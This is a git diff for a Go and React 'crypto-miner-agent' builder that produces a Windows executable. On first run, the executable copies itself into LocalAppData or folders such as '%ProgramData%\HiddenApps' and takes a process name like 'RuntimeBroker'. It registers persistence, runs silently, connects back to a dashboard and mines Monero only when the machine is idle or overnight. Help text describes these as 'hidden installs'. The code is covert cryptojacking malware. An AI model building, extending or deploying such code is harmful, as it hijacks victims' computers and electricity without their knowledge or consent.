diff --git a/agent/client/client.go b/agent/client/client.go index 18c589c..302336d 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -201,6 +201,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { avg15m /= float64(len(samples)) cpuPct, memPct := c.reporter.Usage() + if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 { + cpuPct = sysCPU + } c.mu.Lock() submitted := c.sharesSubmitted accepted := c.sharesAccepted diff --git a/agent/config/builtin.go b/agent/config/builtin.go index d8c49ce..fab80c0 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -30,5 +30,7 @@ func GetBuiltinConfig() BuiltinConfig { IdleDurationMinutes: 5, ScheduleStart: "21:00", ScheduleEnd: "06:00", + InstallBase: "localappdata", + InstallRelativePath: DefaultInstallRelativePath, } } diff --git a/agent/config/config.go b/agent/config/config.go index 99736ca..367e62f 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -35,6 +35,9 @@ type BuiltinConfig struct { IdleDurationMinutes int ScheduleStart string ScheduleEnd string + InstallBase string + InstallCustomBase string + InstallRelativePath string } type RuntimeConfig struct { @@ -90,6 +93,12 @@ func Load() RuntimeConfig { if b.ScheduleEnd == "" { b.ScheduleEnd = "06:00" } + if b.InstallBase == "" { + b.InstallBase = "localappdata" + } + if b.InstallRelativePath == "" { + b.InstallRelativePath = DefaultInstallRelativePath + } return RuntimeConfig{BuiltinConfig: b} } @@ -135,6 +144,14 @@ func (c RuntimeConfig) BackgroundMode() bool { return strings.ToLower(c.DisplayMode) == "background" } +func (c RuntimeConfig) EffectiveProcessName() string { + name := strings.TrimSpace(c.ProcessName) + if name == "" { + return sanitizeProcessName(c.WorkerName) + } + return sanitizeProcessName(name) +} + func sanitizeProcessName(name string) string { name = strings.TrimSpace(name) if name == "" { diff --git a/agent/config/install.go b/agent/config/install.go new file mode 100644 index 0000000..e89ec51 --- /dev/null +++ b/agent/config/install.go @@ -0,0 +1,101 @@ +package config + +import ( + "fmt" + "os" + "path/filepath" + "strings" +) + +const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}" + +func (c RuntimeConfig) InstallDirectory() (string, error) { + base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase) + if err != nil { + return "", err + } + + rel := strings.TrimSpace(c.InstallRelativePath) + if rel == "" { + rel = DefaultInstallRelativePath + } + rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName()) + rel = filepath.FromSlash(rel) + rel = strings.Trim(rel, `\/`) + if rel == "" { + return "", fmt.Errorf("install relative path resolved to empty") + } + + full := filepath.Join(base, rel) + return filepath.Clean(full), nil +} + +func resolveInstallBase(baseType, customBase string) (string, error) { + switch strings.ToLower(strings.TrimSpace(baseType)) { + case "", "localappdata": + return requireEnv("LOCALAPPDATA") + case "appdata": + return requireEnv("APPDATA") + case "programdata": + return requireEnv("ProgramData") + case "userprofile": + return requireEnv("USERPROFILE") + case "temp": + if v := os.Getenv("TEMP"); v != "" { + return v, nil + } + return requireEnv("TMP") + case "custom": + custom := strings.TrimSpace(customBase) + if custom == "" { + return "", fmt.Errorf("custom install base path is required when install_base is custom") + } + return expandWindowsEnv(custom), nil + default: + return "", fmt.Errorf("unsupported install base: %s", baseType) + } +} + +func expandInstallTokens(path, workerName, buildID, processName string) string { + shortBuild := buildID + if len(shortBuild) > 8 { + shortBuild = shortBuild[:8] + } + replacer := strings.NewReplacer( + "{worker}", sanitizePathToken(workerName), + "{build}", sanitizePathToken(buildID), + "{build_short}", sanitizePathToken(shortBuild), + "{process}", sanitizePathToken(processName), + ) + return replacer.Replace(path) +} + +func sanitizePathToken(name string) string { + replacer := strings.NewReplacer( + " ", "-", "/", "-", "\\", "-", ":", "-", + "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "", + ) + clean := replacer.Replace(strings.TrimSpace(name)) + if clean == "" { + return "miner" + } + return clean +} + +func requireEnv(key string) (string, error) { + value := os.Getenv(key) + if value == "" { + return "", fmt.Errorf("environment variable %s is not set", key) + } + return value, nil +} + +func expandWindowsEnv(path string) string { + out := path + for _, key := range []string{ + "LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot", + } { + out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key)) + } + return out +} diff --git a/agent/config/install_test.go b/agent/config/install_test.go new file mode 100644 index 0000000..0b6b606 --- /dev/null +++ b/agent/config/install_test.go @@ -0,0 +1,97 @@ +package config + +import ( + "os" + "testing" + "time" +) + +func TestInstallDirectoryLocalAppData(t *testing.T) { + t.Setenv("LOCALAPPDATA", `C:\Users\test\AppData\Local`) + + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ + WorkerName: "office pc", + BuildID: "1234567890abcdef", + ProcessName: "RuntimeBroker", + InstallBase: "localappdata", + InstallRelativePath: "CryptoMiner/{worker}-{build_short}", + }} + + got, err := cfg.InstallDirectory() + if err != nil { + t.Fatal(err) + } + want := `C:\Users\test\AppData\Local\CryptoMiner\office-pc-12345678` + if got != want { + t.Fatalf("expected %q, got %q", want, got) + } +} + +func TestInstallDirectoryCustomBase(t *testing.T) { + t.Setenv("ProgramData", `C:\ProgramData`) + + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ + WorkerName: "pc1", + BuildID: "build", + InstallBase: "custom", + InstallCustomBase: `%ProgramData%\HiddenApps`, + InstallRelativePath: "{process}", + }} + + got, err := cfg.InstallDirectory() + if err != nil { + t.Fatal(err) + } + want := `C:\ProgramData\HiddenApps\pc1` + if got != want { + t.Fatalf("expected %q, got %q", want, got) + } +} + +func TestInstallDirectoryRequiresCustomBase(t *testing.T) { + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ + InstallBase: "custom", + }} + if _, err := cfg.InstallDirectory(); err == nil { + t.Fatal("expected error for missing custom base") + } +} + +func TestInScheduleWindowSameDay(t *testing.T) { + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ + ScheduleStart: "09:00", + ScheduleEnd: "17:00", + }} + now := time.Date(2026, 5, 26, 10, 0, 0, 0, time.UTC) + if !cfg.InScheduleWindow(now) { + t.Fatal("expected inside schedule window") + } + now = time.Date(2026, 5, 26, 18, 0, 0, 0, time.UTC) + if cfg.InScheduleWindow(now) { + t.Fatal("expected outside schedule window") + } +} + +func TestInScheduleWindowCrossMidnight(t *testing.T) { + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ + ScheduleStart: "21:00", + ScheduleEnd: "06:00", + }} + if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 23, 0, 0, 0, time.UTC)) { + t.Fatal("expected inside overnight window") + } + if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 3, 0, 0, 0, time.UTC)) { + t.Fatal("expected inside early morning window") + } + if cfg.InScheduleWindow(time.Date(2026, 5, 26, 12, 0, 0, 0, time.UTC)) { + t.Fatal("expected outside midday window") + } +} + +func TestExpandWindowsEnv(t *testing.T) { + os.Setenv("LOCALAPPDATA", `C:\Local`) + got := expandWindowsEnv(`%LOCALAPPDATA%\Apps`) + if got != `C:\Local\Apps` { + t.Fatalf("unexpected expansion: %s", got) + } +} diff --git a/agent/config/schedule.go b/agent/config/schedule.go new file mode 100644 index 0000000..aadfb78 --- /dev/null +++ b/agent/config/schedule.go @@ -0,0 +1,46 @@ +package config + +import ( + "strings" + "time" +) + +func (c RuntimeConfig) MiningModeNormalized() string { + mode := strings.ToLower(strings.TrimSpace(c.MiningMode)) + if mode == "" { + return "always" + } + return mode +} + +func (c RuntimeConfig) InScheduleWindow(now time.Time) bool { + startMin, okStart := parseClockMinutes(c.ScheduleStart) + endMin, okEnd := parseClockMinutes(c.ScheduleEnd) + if !okStart || !okEnd { + return true + } + + nowMin := now.Hour()*60 + now.Minute() + if startMin == endMin { + return true + } + if startMin < endMin { + return nowMin >= startMin && nowMin < endMin + } + return nowMin >= startMin || nowMin < endMin +} + +func parseClockMinutes(value string) (int, bool) { + value = strings.TrimSpace(value) + if value == "" { + return 0, false + } + parsed, err := time.Parse("15:04", value) + if err != nil { + parsed, err = time.Parse("15:04:05", value) + if err != nil { + return 0, false + } + } + return parsed.Hour()*60 + parsed.Minute(), true +} diff --git a/agent/deploy/install.go b/agent/deploy/install.go index e9a2115..2c52601 100644 --- a/agent/deploy/install.go +++ b/agent/deploy/install.go @@ -29,11 +29,11 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { } } - installDir, err := InstallDir(cfg.WorkerName, cfg.BuildID) + installDir, err := cfg.InstallDirectory() if err != nil { return false, err } - installedExe := filepath.Join(installDir, cfg.ProcessName+".exe") + installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe") if samePath(currentExe, installedExe) { return false, nil @@ -49,8 +49,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { logPath := filepath.Join(installDir, "miner.log") _ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf( - "worker=%s\nbuild=%s\nserver=%s\ninstalled_exe=%s\n", - cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installedExe, + "worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n", + cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe, )), 0644) if cfg.AutoStart { @@ -71,16 +71,14 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { } func InstallDir(workerName, buildID string) (string, error) { - base, err := os.UserConfigDir() - if err != nil { - return "", err - } - safeWorker := sanitizeName(workerName) - shortBuild := buildID - if len(shortBuild) > 8 { - shortBuild = shortBuild[:8] - } - return filepath.Join(base, "CryptoMiner", fmt.Sprintf("%s-%s", safeWorker, shortBuild)), nil + return config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + WorkerName: workerName, + BuildID: buildID, + InstallBase: "localappdata", + InstallRelativePath: config.DefaultInstallRelativePath, + }, + }.InstallDirectory() } func configureAutoStart(workerName, exePath string) error { diff --git a/agent/main.go b/agent/main.go index 43c31c9..7f91f24 100644 --- a/agent/main.go +++ b/agent/main.go @@ -27,7 +27,11 @@ func main() { log.Fatalf("[installer] failed: %v", err) } if installed { - log.Printf("[installer] installed worker=%s to permanent location and started miner", cfg.WorkerName) + if dir, err := cfg.InstallDirectory(); err == nil { + log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir) + } else { + log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName) + } return } @@ -39,8 +43,8 @@ func main() { log.Printf("[agent] could not set CPU priority: %v", err) } - log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s", - cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode) + log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s", + cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg)) agent := client.NewAgentClient(cfg) if err := agent.Run(); err != nil { @@ -54,13 +58,21 @@ func setupLogging(cfg config.RuntimeConfig) { return } - installDir, err := deploy.InstallDir(cfg.WorkerName, cfg.BuildID) + installDir, err := cfg.InstallDirectory() if err != nil { return } redirectLog(filepath.Join(installDir, "miner.log")) } +func mustInstallPath(cfg config.RuntimeConfig) string { + path, err := cfg.InstallDirectory() + if err != nil { + return "unknown" + } + return path +} + func redirectLog(path string) { if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { return diff --git a/agent/miner/pool.go b/agent/miner/pool.go index cdca775..97b114c 100644 --- a/agent/miner/pool.go +++ b/agent/miner/pool.go @@ -21,6 +21,7 @@ type Pool struct { reporter *stats.Reporter engine *Engine handler ShareHandler + schedule *ScheduleGuard mu sync.RWMutex currentJob *job.Job @@ -42,6 +43,7 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha reporter: reporter, engine: NewEngine(), handler: handler, + schedule: NewScheduleGuard(cfg, reporter), stopCh: make(chan struct{}), } } @@ -91,11 +93,21 @@ func (p *Pool) resourceGuard() { case <-p.stopCh: return case <-ticker.C: - p.paused.Store(!p.resourcesOK()) + p.paused.Store(!p.miningAllowed()) } } } +func (p *Pool) miningAllowed() bool { + if !p.resourcesOK() { + return false + } + if p.schedule != nil && !p.schedule.Allowed() { + return false + } + return true +} + func (p *Pool) resourcesOK() bool { freeMB := p.reporter.FreeMemoryMB() if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) { diff --git a/agent/miner/schedule.go b/agent/miner/schedule.go new file mode 100644 index 0000000..8664adb --- /dev/null +++ b/agent/miner/schedule.go @@ -0,0 +1,71 @@ +package miner + +import ( + "sync" + "time" + + "crypto-miner-agent/config" + "crypto-miner-agent/stats" +) + +type ScheduleGuard struct { + cfg config.RuntimeConfig + reporter *stats.Reporter + + mu sync.Mutex + idleSince time.Time + idleReady bool +} + +func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *ScheduleGuard { + return &ScheduleGuard{ + cfg: cfg, + reporter: reporter, + } +} + +func (g *ScheduleGuard) Allowed() bool { + switch g.cfg.MiningModeNormalized() { + case "idle": + return g.idleAllowed() + case "scheduled": + return g.cfg.InScheduleWindow(time.Now()) + default: + return true + } +} + +func (g *ScheduleGuard) idleAllowed() bool { + cpu := g.reporter.SystemCPUPercent() + threshold := float64(g.cfg.IdleThresholdPct) + if threshold <= 0 { + threshold = 20 + } + duration := time.Duration(g.cfg.IdleDurationMinutes) * time.Minute + if duration <= 0 { + duration = 5 * time.Minute + } + + g.mu.Lock() + defer g.mu.Unlock() + + if cpu == 0 { + // First sample has no delta yet; treat as not idle. + g.idleSince = time.Time{} + g.idleReady = false + return false + } + + if cpu <= threshold { + if g.idleSince.IsZero() { + g.idleSince = time.Now() + } + if time.Since(g.idleSince) >= duration { + g.idleReady = true + } + } else { + g.idleSince = time.Time{} + g.idleReady = false + } + return g.idleReady +} diff --git a/agent/miner/schedule_test.go b/agent/miner/schedule_test.go new file mode 100644 index 0000000..3f548ae --- /dev/null +++ b/agent/miner/schedule_test.go @@ -0,0 +1,31 @@ +package miner + +import ( + "testing" + "time" + + "crypto-miner-agent/config" + "crypto-miner-agent/stats" +) + +func parseTestTime(hour, minute int) time.Time { + return time.Date(2026, 5, 26, hour, minute, 0, 0, time.UTC) +} + +func TestScheduleGuardAlways(t *testing.T) { + guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MiningMode: "always"}}, stats.NewReporter()) + if !guard.Allowed() { + t.Fatal("always mode should allow mining") + } +} + +func TestScheduleGuardScheduledUsesConfigWindow(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + MiningMode: "scheduled", + ScheduleStart: "21:00", + ScheduleEnd: "06:00", + }} + if !cfg.InScheduleWindow(parseTestTime(23, 0)) { + t.Fatal("expected overnight schedule to allow mining at 23:00") + } +} diff --git a/agent/stats/cpu_windows.go b/agent/stats/cpu_windows.go new file mode 100644 index 0000000..57b2055 --- /dev/null +++ b/agent/stats/cpu_windows.go @@ -0,0 +1,63 @@ +package stats + +import ( + "unsafe" +) + +var ( + procGetSystemTimes = kernel32.NewProc("GetSystemTimes") +) + +type filetime struct { + LowDateTime uint32 + HighDateTime uint32 +} + +func filetimeToUint64(ft filetime) uint64 { + return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime) +} + +func (r *Reporter) SystemCPUPercent() float64 { + r.mu.Lock() + defer r.mu.Unlock() + + var idle, kernel, user filetime + ret, _, _ := procGetSystemTimes.Call( + uintptr(unsafe.Pointer(&idle)), + uintptr(unsafe.Pointer(&kernel)), + uintptr(unsafe.Pointer(&user)), + ) + if ret == 0 { + return 0 + } + + idleTicks := filetimeToUint64(idle) + kernelTicks := filetimeToUint64(kernel) + userTicks := filetimeToUint64(user) + + if !r.hasSample { + r.lastIdle = idleTicks + r.lastKernel = kernelTicks + r.lastUser = userTicks + r.hasSample = true + return 0 + } + + idleDelta := float64(idleTicks - r.lastIdle) + totalDelta := float64((kernelTicks - r.lastKernel) + (userTicks - r.lastUser)) + r.lastIdle = idleTicks + r.lastKernel = kernelTicks + r.lastUser = userTicks + + if totalDelta <= 0 { + return 0 + } + busyPct := (1.0 - idleDelta/totalDelta) * 100 + if busyPct < 0 { + return 0 + } + if busyPct > 100 { + return 100 + } + return busyPct +} diff --git a/agent/stats/reporter.go b/agent/stats/reporter.go index b68d9ef..1235b0c 100644 --- a/agent/stats/reporter.go +++ b/agent/stats/reporter.go @@ -3,6 +3,7 @@ package stats import ( "os" "runtime" + "sync" "syscall" "unsafe" ) @@ -24,7 +25,14 @@ var ( procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx") ) -type Reporter struct{} +type Reporter struct { + mu sync.Mutex + + lastIdle uint64 + lastKernel uint64 + lastUser uint64 + hasSample bool +} func NewReporter() *Reporter { return &Reporter{} diff --git a/server/config.go b/server/config.go index 67d4ba9..de17d27 100644 --- a/server/config.go +++ b/server/config.go @@ -47,6 +47,9 @@ type AgentDefaults struct { IdleDurationMinutes int `json:"idle_duration_minutes"` ScheduleStart string `json:"schedule_start"` ScheduleEnd string `json:"schedule_end"` + InstallBase string `json:"install_base"` + InstallCustomBase string `json:"install_custom_base"` + InstallRelativePath string `json:"install_relative_path"` } type BackgroundConfig struct { @@ -91,6 +94,8 @@ func DefaultConfig() *Config { IdleDurationMinutes: 5, ScheduleStart: "21:00", ScheduleEnd: "06:00", + InstallBase: "localappdata", + InstallRelativePath: "CryptoMiner/{worker}-{build_short}", }, Background: BackgroundConfig{ SilentMode: true, @@ -195,6 +200,15 @@ func mergeConfig(dst, src *Config) { if src.DefaultAgent.ScheduleEnd != "" { dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd } + if src.DefaultAgent.InstallBase != "" { + dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase + } + if src.DefaultAgent.InstallCustomBase != "" { + dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase + } + if src.DefaultAgent.InstallRelativePath != "" { + dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath + } dst.Background.SilentMode = src.Background.SilentMode if src.Background.RunAs != "" { dst.Background.RunAs = src.Background.RunAs diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 9bbcbf1..4358690 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -38,9 +38,12 @@ type BuildRequest struct { MinFreeRAMMB int `json:"min_free_ram_mb"` IdleThresholdPct int `json:"idle_threshold_pct"` IdleDurationMinutes int `json:"idle_duration_minutes"` - ScheduleStart string `json:"schedule_start"` - ScheduleEnd string `json:"schedule_end"` - PoolHost string `json:"pool_host"` + ScheduleStart string `json:"schedule_start"` + ScheduleEnd string `json:"schedule_end"` + InstallBase string `json:"install_base"` + InstallCustomBase string `json:"install_custom_base"` + InstallRelativePath string `json:"install_relative_path"` + PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` @@ -277,6 +280,15 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.ScheduleEnd == "" { req.ScheduleEnd = "06:00" } + if req.InstallBase == "" { + req.InstallBase = "localappdata" + } + if req.InstallRelativePath == "" { + req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}" + } + if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" { + return fmt.Errorf("install_custom_base is required when install_base is custom") + } if req.PoolHost == "" { req.PoolHost = "pool.supportxmr.com" } @@ -326,6 +338,9 @@ func GetBuiltinConfig() BuiltinConfig { IdleDurationMinutes: %d, ScheduleStart: %q, ScheduleEnd: %q, + InstallBase: %q, + InstallCustomBase: %q, + InstallRelativePath: %q, } } `, buildID, time.Now().UTC().Format(time.RFC3339), @@ -355,6 +370,9 @@ func GetBuiltinConfig() BuiltinConfig { req.IdleDurationMinutes, req.ScheduleStart, req.ScheduleEnd, + req.InstallBase, + req.InstallCustomBase, + req.InstallRelativePath, ) } diff --git a/server/web/src/help/installPreview.ts b/server/web/src/help/installPreview.ts new file mode 100644 index 0000000..6e87a55 --- /dev/null +++ b/server/web/src/help/installPreview.ts @@ -0,0 +1,42 @@ +const BASE_LABELS: Record = { + localappdata: '%LOCALAPPDATA%', + appdata: '%APPDATA%', + programdata: '%ProgramData%', + userprofile: '%USERPROFILE%', + temp: '%TEMP%', + custom: '', +}; + +function sanitizeToken(value: string, fallback: string): string { + const clean = value.trim().replace(/[\\/:*?"<>|]/g, '-').replace(/\s+/g, '-'); + return clean || fallback; +} + +export function previewInstallPath(options: { + install_base: string; + install_custom_base?: string; + install_relative_path?: string; + worker_name?: string; + process_name?: string; +}): string { + const baseKey = options.install_base || 'localappdata'; + const base = + baseKey === 'custom' + ? (options.install_custom_base?.trim() || '%CUSTOM%') + : (BASE_LABELS[baseKey] || '%LOCALAPPDATA%'); + + const worker = sanitizeToken(options.worker_name || 'worker', 'worker'); + const process = sanitizeToken(options.process_name || worker, 'miner'); + const buildShort = 'abc12345'; + + let rel = (options.install_relative_path || 'CryptoMiner/{worker}-{build_short}').replace(/\\/g, '/'); + rel = rel + .replace(/\{worker\}/g, worker) + .replace(/\{build\}/g, 'full-build-id') + .replace(/\{build_short\}/g, buildShort) + .replace(/\{process\}/g, process); + + rel = rel.replace(/^\/+|\/+$/g, ''); + const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base; + return `${folder}\\${process}.exe`; +} diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index d114a51..19fd0d9 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [ }, { title: '4. Deploy once per PC', - body: 'Copy the single .exe to a worker machine and run it once. It installs, optionally persists, and connects back to your dashboard.', + body: 'Double-click the .exe on any Windows machine. It copies itself to your configured install folder, registers persistence if enabled, connects to your dashboard, and starts mining — no extra steps.', }, { title: '5. Monitor', @@ -47,4 +47,7 @@ export const FIELD_HELP: Record = { run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.', silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.', auto_start: 'Same as Persistence. Keeps miner running after reboot.', + install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.', + install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.', + install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe', }; diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index e2352b1..04f41fb 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -3,6 +3,7 @@ import { api } from '../api/client'; import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types'; import { HelpTip, FieldHint } from '../components/HelpTip'; import { SETUP_CHEATSHEET } from '../help/settingHelp'; +import { previewInstallPath } from '../help/installPreview'; import './Pages.css'; function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest { @@ -29,6 +30,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build idle_duration_minutes: d.idle_duration_minutes, schedule_start: d.schedule_start, schedule_end: d.schedule_end, + install_base: d.install_base || 'localappdata', + install_custom_base: d.install_custom_base || '', + install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}', pool_host: config.pool.host, pool_port: config.pool.port, pool_tls: config.pool.use_tls, @@ -83,6 +87,10 @@ export default function BuilderPage() { setError('Wallet address is required'); return; } + if (form.install_base === 'custom' && !form.install_custom_base.trim()) { + setError('Custom install base path is required when Install Base is Custom'); + return; + } setBuilding(true); try { @@ -112,6 +120,14 @@ export default function BuilderPage() { ); } + const installPreview = previewInstallPath({ + install_base: form.install_base, + install_custom_base: form.install_custom_base, + install_relative_path: form.install_relative_path, + worker_name: form.worker_name, + process_name: form.process_name, + }); + return (
@@ -339,6 +355,44 @@ export default function BuilderPage() {

Install & Process

+

+ Double-clicking the built `.exe` embeds the miner on first run: copies itself to the path below, + optionally persists, then starts mining in the background. +

+
+ + + +
+ {form.install_base === 'custom' && ( +
+ + updateField('install_custom_base', e.target.value)} /> + +
+ )} +
+ + updateField('install_relative_path', e.target.value)} /> + +
+
+ + {installPreview} +
+
+

Install Location Defaults

+

Where built installers embed the miner on first run.

+
+ + +
+ {config.default_agent_config.install_base === 'custom' && ( +
+ + updateField('default_agent_config.install_custom_base', e.target.value)} + placeholder="%ProgramData%\\HiddenApps" + /> +
+ )} +
+ + updateField('default_agent_config.install_relative_path', e.target.value)} + /> +
+
diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index f582603..2e862db 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -110,6 +110,9 @@ export interface AgentDefaults { idle_duration_minutes: number; schedule_start: string; schedule_end: string; + install_base: string; + install_custom_base: string; + install_relative_path: string; } export interface BackgroundConfig { @@ -147,6 +150,9 @@ export interface BuildRequest { idle_duration_minutes: number; schedule_start: string; schedule_end: string; + install_base: string; + install_custom_base: string; + install_relative_path: string; pool_host: string; pool_port: number; pool_tls: boolean;